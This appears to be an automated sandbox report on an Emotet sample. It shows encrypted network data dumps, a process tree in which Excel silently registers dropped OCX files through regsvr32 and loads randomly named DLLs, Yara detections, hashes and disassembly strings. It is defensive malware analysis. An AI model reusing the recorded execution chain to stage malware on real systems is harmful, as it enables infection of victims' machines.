2022-05-23 06:59:57 UTC	240	IN	Data Raw: a0 ea f2 68 48 2a 8e 71 9b 93 ca fd 9d dc e6 60 66 58 82 f7 b7 78 6a 63 f0 24 96 76 9e c8 e7 35 3c 65 6f ea ea b5 21 7a 24 6f f3 f7 64 e9 b5 9e 31 6b 6a 25 96 a0 02 ba f3 b6 40 24 5f 38 e2 86 d9 6e 8b c3 d8 a6 d5 99 9d d4 b4 35 76 43 5b 95 1a 66 e0 7c f3 74 40 eb e6 9b 62 34 76 3c 68 c8 ca bd d0 bc 6b 67 65 fe f5 1d a7 b8 de f3 68 00 4e 67 34 30 ac 8f b9 9d 31 76 66 53 8f 04 79 e2 d5 80 2b 6f 2a 9f a9 01 ac e2 4e e9 de 27 92 dc 72 a0 a7 b1 43 fb ea a8 6a 63 43 e3 b9 a6 5f 65 37 f3 1a 40 11 e0 ea b5 21 7a 24 a2 d8 aa c1 6c b8 87 73 7d d8 d7 dd ec 4d 31 76 e7 f5 f4 5f 79 69 f7 44 74 6d ed ed a0 2a 66 5a f4 01 65 76 c8 b8 99 6a 66 58 b2 93 df 37 86 a7 0d a3 de 73 d6 f0 df 35 3c 65 e5 de 8f 65 21 7a 63 02 31 6b ec ed e0 4e 31 6b c2 d0 b9 3c c6 bc 96 66 40 24 Data Ascii: hHq`fXxjc$v5<eo!z$od1kj%@$_8n5vC[f\|t@b4v<hkgehNg401vfSy+oN'rCjcC_e7@!z$ls}M1v_yiDtm*fZevjfX7s5<ee!zc1kN1k<f@$
2022-05-23 06:59:57 UTC	256	IN	Data Raw: 3d 32 65 f4 b7 76 be 33 5b 74 c9 ab a6 98 85 fb 22 88 ad 26 5b c2 b2 73 5f e4 42 2d ac 1e b4 61 e6 20 39 1f af 55 39 ea 5e 70 9e 61 4d 6d e1 1b 50 b5 08 dd b1 23 58 f6 6e bf 69 d3 1d 33 2e a1 a8 bf cb a7 b0 57 e5 60 6e c2 78 69 c2 09 0b aa f3 22 60 33 64 bc 9d b5 03 47 3d 0a de 83 ee 21 73 ee 20 c9 bd 61 7d 20 da fe 68 c1 23 19 6e ab 3b 60 2c cc 44 5e 65 40 ac f2 be 2c 40 10 a1 0f 2a a9 2d 32 6f 31 14 74 4c ff 06 2d fa 27 7e e0 08 e3 a8 c2 9d 82 68 a8 75 fd 9f b4 de 36 f6 a4 8d 6e ee 28 39 fb 51 4d 0c 00 e6 69 c7 0b 11 8a 75 6c 48 bd 00 11 06 cf e5 41 de 3c 49 62 02 2b 6f ab 1d 68 6f bd 3e 16 ab 70 92 c9 3e 33 6a e7 15 a1 39 18 1a b5 a2 2e 86 39 f7 2a 81 3d 20 3f 65 a3 2e 87 73 11 7b 24 de 74 8b dc 89 c1 a4 37 e2 3f be c9 49 ad 58 a2 06 6d a5 2a 99 1f 01 Data Ascii: =2ev3[t"&[s_B-a 9U9^paMmP#Xni3.W`nxi"`3dG=!s a} h#n;`,D^e@,@-2o1tL-'~hu6n(9QMiulHA<Ib+oho>p>3j9.9= ?e.s{$t7?IXm*
2022-05-23 06:59:57 UTC	272	IN	Data Raw: d5 48 fd 76 43 35 fa ee 42 b8 45 72 67 90 26 bb 43 62 7c ff 5a 84 77 34 3c 2d e7 0f 43 2d 21 32 a7 31 1d 2b 2b 5b d2 06 b8 07 4e 66 00 b5 31 15 46 22 cd 6e 5c 3d e4 1a 60 62 e4 e4 e1 3c 0e 4e 12 d8 30 11 56 bc e5 3d e7 fa 7c e5 72 67 78 23 e8 18 42 7d fd 34 55 7e be df 24 3a 34 39 a6 ed b6 e8 dc 75 4f 23 3d 53 18 66 2a 3c 16 c5 50 69 f8 3e e7 ac e4 5f 79 69 9f 15 44 9a 82 6d 48 ed 23 29 05 9f 32 76 06 06 87 22 ed 2d 2a cd 46 85 64 63 c2 9d 50 50 5e 65 38 b1 d5 65 64 6b e6 9a aa e3 25 55 36 ef 1f 6b 00 4e b0 94 da 98 4d 3c 42 b5 df 66 40 24 de 86 9e 5d 5b 2b 1b 39 e9 b7 0b 9b 54 51 63 b0 75 40 35 71 d5 d6 9e 40 72 8c b9 ad 26 34 ed d4 c3 5f 2d be 41 18 45 e5 2e 10 07 b4 85 db d4 7c 1c 7f 78 00 4e b0 1e 1d 36 b1 8e 4d f6 33 09 21 12 7f 79 02 1d 3f 77 e6 6f Data Ascii: HvC5BErg&Cb\|Zw4<-C-!21++[Nf1F"n\=`b<N0V=\|rgx#B}4U~$:49uO#=Sf<Pi>_yiDmH#)2v"-FdcPP^e8edk%U6kNM<Bf@$][+9TQcu@5q@r&4_-AE.\|xN6M3!y?wo
2022-05-23 06:59:57 UTC	288	IN	Data Raw: 37 11 11 8e bf 85 4f f9 23 5c 0a 27 c8 e7 24 77 5f 65 bc b8 24 64 64 6b ee 21 05 5a cc d8 f7 6b 2b af 85 5e 30 6b 6a c1 5f 14 4d b0 fb 76 41 24 5f cd ae 27 fb 63 0c e2 24 c3 ed e7 df 41 6d 35 76 1d 42 71 6a 2e 5b b4 b3 ca 68 6b 63 43 65 b5 c3 4f 64 37 35 9f 1e 35 6a a0 e0 39 7b 24 55 75 57 e9 68 81 c3 29 6a 6a 5e 2c 72 a4 4e b7 cb 58 25 5f 79 6c d9 e5 33 6e 2a 68 35 89 99 59 da f9 2d 77 43 35 fa e7 76 59 45 72 8f a3 a8 63 43 2a bf eb 57 64 37 35 7d 4e 90 27 ee 46 a8 09 2c bc 10 66 2b 68 c7 cb 21 6a 6a 5e e2 23 6f 31 ce cd ea 8e f5 f2 e4 48 51 2b 6f dd 89 89 c0 64 d3 c4 7c 34 76 43 b6 f4 7a 67 58 45 81 0c fd 7a 62 43 62 1a ff da 75 36 35 3c e4 d1 7b 66 65 21 82 fe 50 38 2f a0 dd 10 4f 31 6b ad 1a 6c 50 df 15 00 66 c1 60 7b 15 66 70 50 2b 2e a1 a6 c9 5e 42 Data Ascii: 7O#\'$w_e$ddk!Zk+^0kj_MvA$_'c$Am5vBqj.[hkcCeOd755j9{$UuWh)jj^,rNX%_yl3nh5Y-wC5vYErcCWd75}N'F,f+h!jj^#o1HQ+od\|4vCzgXEzbCbu65<{fe!P8/O1klPf`{fpP+.^B
2022-05-23 06:59:57 UTC	304	IN	Data Raw: ef d9 c5 73 67 78 22 ee 46 db 21 88 a0 2d be b4 74 64 64 6b 2f e8 24 1d d0 aa c6 23 a2 29 68 06 bc 6e aa 93 b7 c3 05 b8 f7 ae 41 24 5f 31 e4 5d 1a 2a 91 d5 20 c1 ab be 5a 51 6c 7d fb 46 75 f5 94 99 10 cc f3 9f 78 6a 63 0b ef 31 20 0e 9a c8 7d b5 e4 64 69 67 65 69 f7 21 29 57 6b 2b 20 89 cf 99 6a 6a 5e 00 b1 48 ff 25 66 40 6c d6 f8 29 59 50 2b 27 a7 6d 9c 11 98 a5 19 e5 74 4e 0b b8 74 eb 5e a6 ba 3a ee f9 8a 62 43 62 7c fb 5a ba 7e cb c3 2d ed ea 77 67 21 7a 6c d8 3c 46 fd 96 ff 06 b8 ea fa 5e 48 3c 05 bc 73 71 52 da a0 31 e0 d9 a8 2a 6f 2a 20 c5 2f 1b 2a 51 6c 7d ff c2 3d 73 6a 66 10 c8 77 68 b6 95 9c 0b eb b5 4e 5e 65 37 7d b1 60 55 ea 99 9a 69 f3 a5 8d 38 6b 2b 20 8d 4b fe 40 94 a1 00 b5 cc 99 76 66 40 6c d2 7c 2c 3b af d4 27 a3 e9 18 2b 66 5a 19 e1 30 Data Ascii: sgx"F!-tddk/$#)hnA$_1]* ZQl}Fuxjc1 }digei!)Wk+ jj^H%f@l)YP+'mtNt^:bCb\|Z~-wg!zl<F^H<sqR1o /*Ql}=sjfwhN^e7}`Ui8k+ K@vf@l\|,;'+fZ0
2022-05-23 06:59:57 UTC	320	IN	Data Raw: 2e f1 19 cb 06 eb 67 d6 16 ec 4c ad 74 ee 8d 83 e1 c8 de 85 9e e2 df 6b e8 af 44 6a 51 2c 09 54 48 7d c6 eb b1 22 64 40 76 04 62 58 b8 9e 9b d7 97 05 a1 a9 16 da ab be a5 0b be bf 22 ef f4 61 ca 67 78 6a 2f ca d6 10 c6 5f 65 37 79 b1 39 40 1b 2e ee 7a 5a 6d de 52 43 62 e3 73 7e 78 e0 89 1f 17 7d 13 6e 3e 99 a0 e8 93 f0 3d 7c 40 a2 23 0e 60 1d 62 ed b6 19 ef d9 16 84 70 69 76 fb 59 45 b5 22 60 2e 54 63 62 bf 33 47 e8 3b 75 3f ac ed 26 7f e4 54 62 c3 70 d1 6d a0 2d 18 c7 74 87 ad 1b 50 59 44 8a 76 ed 0d 3c e7 fe 08 40 d6 dc 8e 01 a2 99 c3 65 90 90 85 33 ff 0e 2d f0 1f 7e 2e 0a 5a 5e f3 2f 7b ca 27 c4 b1 1a 7d ca 9a 8d 65 0f 2e 7f 1f a8 3f 3c d4 4c 73 ec c9 9c 1a ba 2e 72 d7 0d d4 8a 74 56 f2 cf 39 5f c1 b2 32 a0 37 ee 67 48 a1 f3 c1 ca d0 19 15 88 9c 8a e1 Data Ascii: .gLtkDjQ,TH}"d@vbX"agxj/_e7y9@.zZmRCbs~x}n>=\|@#`bpivYE"`.Tcb3G;u?&Tbpm-tPYDv<@e3-~.Z^/{'}e.?<Ls.rtV9_27gH
2022-05-23 06:59:58 UTC	336	IN	Data Raw: 42 62 09 66 5e 67 37 41 36 8c 6f 97 98 9a 9a 7b 24 55 39 e0 e8 20 83 8a 79 30 37 9d 84 f0 c4 7d 52 6e 15 6c d4 95 21 db bc 5b a8 6f 78 20 7e 6b 5a 96 29 25 28 0b 93 71 e1 2b 48 fd 83 97 88 9a 94 a2 a3 de 73 d6 30 27 b4 49 75 fb c0 0b 6b aa 3f 34 dc 7c 83 ec 2d 10 c7 e9 21 6a df 0d 2c d7 3b 76 66 c1 51 4f c0 93 55 70 a0 2a 3a e1 0d f2 a1 1f 41 a5 2a fb 43 be 3c 7a de 61 cb 91 5f 8f 8b b2 a9 eb 61 66 de 10 27 f6 cd 1b e0 ea 2a 75 40 90 ad 8d b8 1e 3b 43 f2 df c9 e0 2f 4e c1 79 91 f6 33 76 ec c7 a1 79 a8 3d 40 27 ee 5f 78 92 f8 22 c6 da 29 25 ff 06 d1 b6 2f 76 96 29 ab 67 f9 2f 73 1b 80 cb 89 de 20 27 2f a0 9a 9b aa 0a 75 2f fb 51 45 97 31 02 14 8b 0b 21 e2 2f be 8f 79 5d 79 89 76 40 a5 12 69 59 58 d9 3c ee 5f 78 aa cc c6 3f da 29 25 ff 06 d9 b6 2f 76 f6 8d Data Ascii: Bbf^g7A6o{$U9 y07}Rnl![ox ~kZ)%(q+Hs0'Iuk?4\|-!j,;vfQOUp:AC<za_af'*u@;C/Ny3vy=@'_x")%/v)g/s '/u/QE1!/y]yv@iYX<_x?)%/v
2022-05-23 06:59:58 UTC	352	IN	Data Raw: 5f 65 8f f6 3e 65 cc b2 67 65 a6 a0 24 55 e9 a8 29 68 88 94 31 6b 23 85 48 3c 7d f2 74 66 0c ff 5f 79 98 86 50 2b 8b e9 6a 48 de b8 5a 51 43 d4 76 43 75 b2 68 66 68 a4 72 67 a9 8f 63 43 92 f7 74 5f b1 d2 35 3c 5a 83 6b 67 11 e0 78 24 15 de 6b 2b 89 e7 4e 31 63 ae 5c 48 d8 aa 31 76 83 a8 24 5f 5d a9 5a 50 c3 87 2a 68 d2 c3 66 5a 69 ae 37 76 df dc 71 6a 41 aa 45 72 73 bc 68 63 6b 90 34 76 77 96 37 35 20 a7 66 6b 4f 96 21 7a 11 a0 39 6b 0f ac 02 4e 65 9e 6a 5e ad c2 4d 31 36 a2 42 24 b7 87 69 58 ed d4 6f 2a 3c 8c 28 66 9a ae 6c 35 5d 5e 34 71 0a a2 5a 45 5e 7a 79 6a 91 5e 63 34 02 9b 67 37 c1 21 64 64 9e 79 64 21 fa e0 57 39 93 35 69 00 0a 11 6a 6a ce 8c 3e 4d 75 56 67 40 4c 7e 78 69 f8 90 29 6f 42 49 49 2a 11 79 50 6c 91 b2 41 35 09 49 67 58 b1 56 66 78 d2 Data Ascii: _e>ege$U)h1k#H<}tf_yP+jHZQCvCuhfhrgcCt_5<Zkgx$k+N1c\H1v$_]ZPhfZi7vqjAErshck4vw75 fkO!z9kNej^M16B$iXo<(fl5]^4qZE^zyj^c4g7!ddyd!W95ijj>MuVg@L~xi)oBII*yPlA5IgXVfx

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 808, Parent PID: 576

General

Target ID:	0
Start time:	08:59:16
Start date:	23/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f8b0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2688, Parent PID: 808

General

Target ID:	3
Start time:	08:59:26
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Imagebase:	0xff260000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.926879685.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2624, Parent PID: 2688

General

Target ID:	4
Start time:	08:59:28
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FIdWcB\GulPp.dll"
Imagebase:	0xff260000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1346169156.0000000000140000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1136, Parent PID: 808

General

Target ID:	5
Start time:	08:59:30
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Imagebase:	0xff260000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.1264915905.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.1264216924.00000000003F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1824, Parent PID: 404

General

Target ID:	7
Start time:	09:00:01
Start date:	23/05/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0xff7d0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1312, Parent PID: 808

General

Target ID:	8
Start time:	09:00:22
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Imagebase:	0xff260000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2360, Parent PID: 808

General

Target ID:	9
Start time:	09:00:25
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Imagebase:	0xff260000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1056224873.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1055136020.0000000000140000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2164, Parent PID: 2360

General

Target ID:	10
Start time:	09:00:28
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AQbqR\xhDhNsFFy.dll"
Imagebase:	0xff260000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.1346182348.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.1347032948.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2480, Parent PID: 1136

General

Target ID:	13
Start time:	09:02:05
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll"
Imagebase:	0xff260000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 2688, Parent PID: 808COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	10%
Total number of Nodes:	1905
Total number of Limit Nodes:	30

Executed Functions

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF9D22F02
MessageBoxA.USER32 ref: 000007FEF9D22F1C
ExitProcess.KERNEL32 ref: 000007FEF9D22F27
VirtualAlloc.KERNELBASE ref: 000007FEF9D22F57
RtlAllocateHeap.NTDLL ref: 000007FEF9D22F65
CoTaskMemFree.OLE32 ref: 000007FEF9D22F86

Strings

wk/, xrefs: 000007FEF9D21784
j+h, xrefs: 000007FEF9D228BE
U9#(, xrefs: 000007FEF9D224EA
e7tc, xrefs: 000007FEF9D22C6A
werfault.exe, xrefs: 000007FEF9D22E68
l|f, xrefs: 000007FEF9D22080
Cb47, xrefs: 000007FEF9D22D00
L ]1, xrefs: 000007FEF9D21842
P+oo, xrefs: 000007FEF9D2233C
i~e, xrefs: 000007FEF9D21FCC
QlyO, xrefs: 000007FEF9D21D9C
M1vi, xrefs: 000007FEF9D226F2
%Uc, xrefs: 000007FEF9D22E18
>~, xrefs: 000007FEF9D21DA6
cDj, xrefs: 000007FEF9D218E2
h78<, xrefs: 000007FEF9D21AA4
:'U@, xrefs: 000007FEF9D22490
g@$, xrefs: 000007FEF9D22328
EBg, xrefs: 000007FEF9D21F9A
Puvm, xrefs: 000007FEF9D22D0A
M13U, xrefs: 000007FEF9D217B6
.#(, xrefs: 000007FEF9D21346
@ , xrefs: 000007FEF9D229EA
xA\#, xrefs: 000007FEF9D2163A
%</, xrefs: 000007FEF9D224A4
<v:, xrefs: 000007FEF9D21A4A
Pl5, xrefs: 000007FEF9D21E3C
S}pn, xrefs: 000007FEF9D222BA
!@C+, xrefs: 000007FEF9D21824
;qdf, xrefs: 000007FEF9D21A7C
D)'U, xrefs: 000007FEF9D222A6
}'6, xrefs: 000007FEF9D21B76
Eekg, xrefs: 000007FEF9D224D6
&\hR, xrefs: 000007FEF9D21EBE
+iT, xrefs: 000007FEF9D22012
wC54, xrefs: 000007FEF9D22AF8
#z$U, xrefs: 000007FEF9D221B6
M z, xrefs: 000007FEF9D21438
"!k, xrefs: 000007FEF9D221FC
oE, xrefs: 000007FEF9D22418
+ong, xrefs: 000007FEF9D22A3A
"V2, xrefs: 000007FEF9D2280A
3ob, xrefs: 000007FEF9D215EA
HPZ, xrefs: 000007FEF9D22896
<)@P, xrefs: 000007FEF9D215E0
gVWH, xrefs: 000007FEF9D21D88
S[L, xrefs: 000007FEF9D2218E
5vCx, xrefs: 000007FEF9D22B98
t(O, xrefs: 000007FEF9D218C4
}WL, xrefs: 000007FEF9D21A22
:9m?, xrefs: 000007FEF9D22792
8<-, xrefs: 000007FEF9D21BEE
4bB, xrefs: 000007FEF9D22210
$}%z, xrefs: 000007FEF9D22C7E
(pd, xrefs: 000007FEF9D221CA
V#s, xrefs: 000007FEF9D21676
5qj', xrefs: 000007FEF9D21F90
{$U|, xrefs: 000007FEF9D223A0
*hH, xrefs: 000007FEF9D21386
PX5, xrefs: 000007FEF9D2265C
2s<S, xrefs: 000007FEF9D2236E
R;pB, xrefs: 000007FEF9D21BBC
VO4, xrefs: 000007FEF9D21BD0
N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h, xrefs: 000007FEF9D22FBB
rkE@, xrefs: 000007FEF9D21415
} z$, xrefs: 000007FEF9D229F4
$D1v, xrefs: 000007FEF9D215CC
%<, xrefs: 000007FEF9D22CE2
c-_j, xrefs: 000007FEF9D221F2
?x?, xrefs: 000007FEF9D21D2E
:!@, xrefs: 000007FEF9D2145B
It, xrefs: 000007FEF9D21CC0
|X, xrefs: 000007FEF9D21AC2
MDj, xrefs: 000007FEF9D2281E
U+on, xrefs: 000007FEF9D21E28
hx", xrefs: 000007FEF9D21B30
0.3, xrefs: 000007FEF9D213AC
w&ed, xrefs: 000007FEF9D22288
tc`, xrefs: 000007FEF9D221C0
FLIn, xrefs: 000007FEF9D228FA
%U9, xrefs: 000007FEF9D22A9E
%8#, xrefs: 000007FEF9D21D06
BxJr, xrefs: 000007FEF9D21B26
$huN, xrefs: 000007FEF9D22DE6
Ya], xrefs: 000007FEF9D21590
-'C, xrefs: 000007FEF9D21AAE
{fM$, xrefs: 000007FEF9D21B8A
mbPv, xrefs: 000007FEF9D21423
`I, xrefs: 000007FEF9D22634
,1., xrefs: 000007FEF9D2258A
1\u, xrefs: 000007FEF9D22CBA
kxfc, xrefs: 000007FEF9D218A6
V9s, xrefs: 000007FEF9D2260C
=kf^, xrefs: 000007FEF9D21662
0kj., xrefs: 000007FEF9D2144D
`AnM, xrefs: 000007FEF9D22E6F
C/, xrefs: 000007FEF9D21E82
N3, xrefs: 000007FEF9D2245E
Ko*h, xrefs: 000007FEF9D22CC4
?CE`, xrefs: 000007FEF9D21BF8
|e:, xrefs: 000007FEF9D22EDD
ePO, xrefs: 000007FEF9D21A04
aUJ', xrefs: 000007FEF9D217F2
jfX, xrefs: 000007FEF9D21EF0
$931, xrefs: 000007FEF9D21D56
*hH%, xrefs: 000007FEF9D2215C
,$n, xrefs: 000007FEF9D21658
mCl4, xrefs: 000007FEF9D216C6
-{*, xrefs: 000007FEF9D2285A
pAT#, xrefs: 000007FEF9D21B4E
9[+, xrefs: 000007FEF9D21FD6
^*C, xrefs: 000007FEF9D2209E
<M}O, xrefs: 000007FEF9D21D6A
$:*:, xrefs: 000007FEF9D22C74

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: %<$Ya]$g@$$|X$ 4bB$!@C+$"V2$#z$U$$931$$:*:$$D1v$$huN$$}%z$%8#$%</$%U9$&\hR$*hH%$+ong$+iT$-{*$-'C$.#($0kj.$0.3$1\u$2s<S$3ob$5qj'$5vCx$8<-$:!@$:'U@$:9m?$;qdf$<)@P$<M}O$<v:$=kf^$>~$?CE`$@ $BxJr$C/$Cb47$D)'U$Eekg$FLIn$HPZ$Ko*h$L ]1$M13U$M1vi$MDj$N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h$P+oo$PX5$Puvm$QlyO$R;pB$S[L$S}pn$U+on$U9#($V#s$V9s$VO4$^*C$`AnM$aUJ'$c-_j$cDj$e7tc$ePO$gVWH$h78<$hx"$j+h$kxfc$l|f$mCl4$mbPv$pAT#$rkE@$t(O$tc`$w&ed$wC54$werfault.exe$wk/$xA\#${$U|${fM$$|e:$} z$$}'6$}WL$It$"!k$%Uc$(pd$*hH$,$n$,1.$9[+$?x?$EBg$M z$N3$Pl5$i~e$jfX$oE$`I
API String ID: 2181984824-2032897877
Opcode ID: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction ID: 1e3beb4b4c43f569e156fbbbb3a48c6786d138466eab30fa5612b4063b7ac052
Opcode Fuzzy Hash: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction Fuzzy Hash: 72E2C9B690A7C18FE3748F629E857DD3AA0F345748F609208D3991FA1DCB795242CF86

Uniqueness

Uniqueness Score: -1.00%

Function 001C0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 001C0450
GetNativeSystemInfo.KERNEL32 ref: 001C0539
VirtualAlloc.KERNELBASE ref: 001C0580
VirtualProtect.KERNELBASE ref: 001C09E9

Strings

Slee, xrefs: 001C00B7
onTa, xrefs: 001C0171
RtlA, xrefs: 001C015C
ddFu, xrefs: 001C0163
Libr, xrefs: 001C00D0
sour, xrefs: 001C031F
Load, xrefs: 001C02F4
urce, xrefs: 001C02E7
Cach, xrefs: 001C012F
ncti, xrefs: 001C016A
lloc, xrefs: 001C00F0
eSys, xrefs: 001C0144
Free, xrefs: 001C034D
Flus, xrefs: 001C0113
urce, xrefs: 001C0340
truc, xrefs: 001C0121
urce, xrefs: 001C035D
ativ, xrefs: 001C013D
ualP, xrefs: 001C00FF
GetN, xrefs: 001C0136
ualA, xrefs: 001C00E8
temI, xrefs: 001C014B
Reso, xrefs: 001C0355
hIns, xrefs: 001C011A
Size, xrefs: 001C0311
Lock, xrefs: 001C0330
Virt, xrefs: 001C00F8
Reso, xrefs: 001C02FC
urce, xrefs: 001C0304
Reso, xrefs: 001C0338
Reso, xrefs: 001C02DB
aryA, xrefs: 001C00D8
tion, xrefs: 001C0128
Virt, xrefs: 001C00E0
rote, xrefs: 001C0106
ofRe, xrefs: 001C0318
Load, xrefs: 001C00C8
Find, xrefs: 001C02D0

Memory Dump Source

Source File: 00000003.00000002.926868949.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1c0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: f654c121e0f75809087bb2166a3c52b90b1e84719569e0c161f38774067afe60
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
